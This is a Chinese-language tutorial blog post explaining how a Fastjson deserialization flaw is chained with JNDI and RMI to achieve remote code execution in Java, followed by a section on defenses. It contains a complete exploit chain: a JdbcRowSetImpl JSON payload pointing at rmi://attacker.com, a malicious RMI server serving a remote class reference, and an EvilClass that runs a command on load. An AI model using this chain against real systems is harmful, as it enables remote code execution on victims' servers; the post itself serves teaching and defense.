目录
- 反序列化漏洞结合 RMI 攻击详解
- 一、RMI 和 JNDI 的基础知识
- (1) RMI 简介
- (2) JNDI 简介
- 二、漏洞利用的核心原理
- 1. 构造恶意 JSON 数据
- 2. 设置恶意 RMI 服务
- 3. 加载并执行恶意代码
- 三、具体利用过程
- 环境准备
- 攻击步骤
- 1. 构造恶意 JSON 数据
- 2. 设置恶意 RMI 服务
- 3. 部署恶意类
- 4. 触发漏洞
- 四、防御措施
- (1) 升级 JDK 版本
- (2) 限制 JNDI 查询
- (3) 修复反序列化漏洞
- (4) 网络隔离
- (5) 监控和日志
反序列化漏洞结合 RMI 攻击详解
反序列化漏洞结合 RMI(Remote Method Invocation,远程方法调用)是一种经典的攻击方式,尤其是在 Java 生态系统中。通过这种方式,攻击者可以利用目标应用中的反序列化漏洞触发 JNDI 注入,并借助 RMI 服务加载远程恶意代码,最终实现远程代码执行(RCE)。以下是详细的原理和利用过程:
一、RMI 和 JNDI 的基础知识
(1) RMI 简介
RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种机制,用于在分布式系统中调用远程对象的方法。RMI 使用 Java 对象序列化和反序列化来传递数据。
- 客户端通过 RMI 接口调用远程服务器上的方法。
- 远程对象的引用可以通过 RMI 注册表(Registry)获取。
(2) JNDI 简介
JNDI(Java Naming and Directory Interface)是 Java 提供的一种目录服务接口,允许应用程序查找和访问命名资源(如数据库连接、LDAP 服务、RMI 服务等)。
- 攻击者可以利用 JNDI 的动态加载特性,通过指定一个恶意的 RMI URL,让目标应用从攻击者控制的服务器加载恶意代码。
二、漏洞利用的核心原理
当目标应用存在反序列化漏洞时,攻击者可以通过以下步骤结合 RMI 实现远程代码执行:
1. 构造恶意 JSON 数据
- 利用 Fastjson 等库的反序列化漏洞,注入恶意类并触发 JNDI 查询。
- 恶意类通常会包含一个
javax.naming.InitialContext
或类似逻辑,用于发起 JNDI 请求。
2. 设置恶意 RMI 服务
- 攻击者搭建一个恶意的 RMI 服务,该服务返回一个指向恶意代码的引用。
- 当目标应用发起 JNDI 查询时,会从 RMI 服务加载恶意对象(即攻击者创建的类)。
3. 加载并执行恶意代码
- 目标应用从 RMI 服务加载恶意对象后,会触发其反序列化操作。
- 如果恶意对象中包含可执行的代码(如
Runtime.exec()
),则会执行攻击者的命令。
三、具体利用过程
环境准备
- 攻击者:
- A 搭建一个恶意 RMI 服务,并提供一个恶意的 Java 类文件 B。
- 目标应用:
- 存在反序列化漏洞(如 Fastjson 漏洞),并且允许 JNDI 查询。
攻击步骤
1. 构造恶意 JSON 数据
攻击者通过分析目标应用的反序列化漏洞,构造一个恶意 JSON 数据。例如:
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker.com:1099/evil","autoCommit": true
}
@type
:指定了com.sun.rowset.JdbcRowSetImpl
类。dataSourceName
:设置为一个恶意的 RMI URL (rmi://attacker.com:1099/evil
)。- 当目标应用解析这个 JSON 数据时,会触发 JNDI 查询。
2. 设置恶意 RMI 服务
攻击者使用工具(如 ysoserial)创建一个恶意的 RMI 服务。以下是示例代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws Exception {// 创建一个 Reference 对象,指向恶意类Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker.com/");// 将 Reference 包装为 ReferenceWrapperReferenceWrapper wrapper = new ReferenceWrapper(ref);// 启动 RMI 注册表Registry registry = LocateRegistry.createRegistry(1099);registry.bind("evil", wrapper);System.out.println("RMI server is running...");}
}
Reference
指向了一个恶意类EvilClass
,该类托管在攻击者的 HTTP 服务器上。- RMI 服务绑定了一个名为
evil
的对象。
3. 部署恶意类
攻击者将恶意类 EvilClass.class
托管在 HTTP 服务器上,内容如下:
public class EvilClass {static {try {Runtime.getRuntime().exec("calc.exe"); // 执行任意命令} catch (Exception e) {e.printStackTrace();}}
}
- 这个类会在加载时执行静态代码块中的命令(如弹出计算器)。
4. 触发漏洞
当目标应用解析恶意 JSON 数据时,会触发以下流程:
- 解析
@type
并加载com.sun.rowset.JdbcRowSetImpl
类。 - 调用
JdbcRowSetImpl
的setDataSourceName()
方法,设置dataSourceName
为rmi://attacker.com:1099/evil
。 - 触发 JNDI 查询,目标应用连接到攻击者的 RMI 服务。
- RMI 服务返回恶意的
Reference
对象,目标应用从 HTTP 服务器下载并加载EvilClass
。 - 加载
EvilClass
时,执行静态代码块中的命令。
四、防御措施
为了防范这种攻击,可以采取以下措施:
(1) 升级 JDK 版本
在 JDK 8u121 及更高版本中,默认禁用了通过 JNDI 动态加载远程代码的功能。
升级到最新版本的 JDK 可以显著降低风险。
(2) 限制 JNDI 查询
配置 JVM 参数,限制 JNDI 查询的协议。例如:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
(3) 修复反序列化漏洞
- 升级 Fastjson 或其他存在反序列化漏洞的库到最新版本。
- 禁用自动类型解析,或使用白名单机制限制可加载的类。
(4) 网络隔离
限制目标应用对外部网络的访问,避免其连接到恶意的 RMI 或 HTTP 服务。
(5) 监控和日志
监控异常的 JNDI 查询和 RMI 请求,及时发现潜在的攻击行为。
by 久违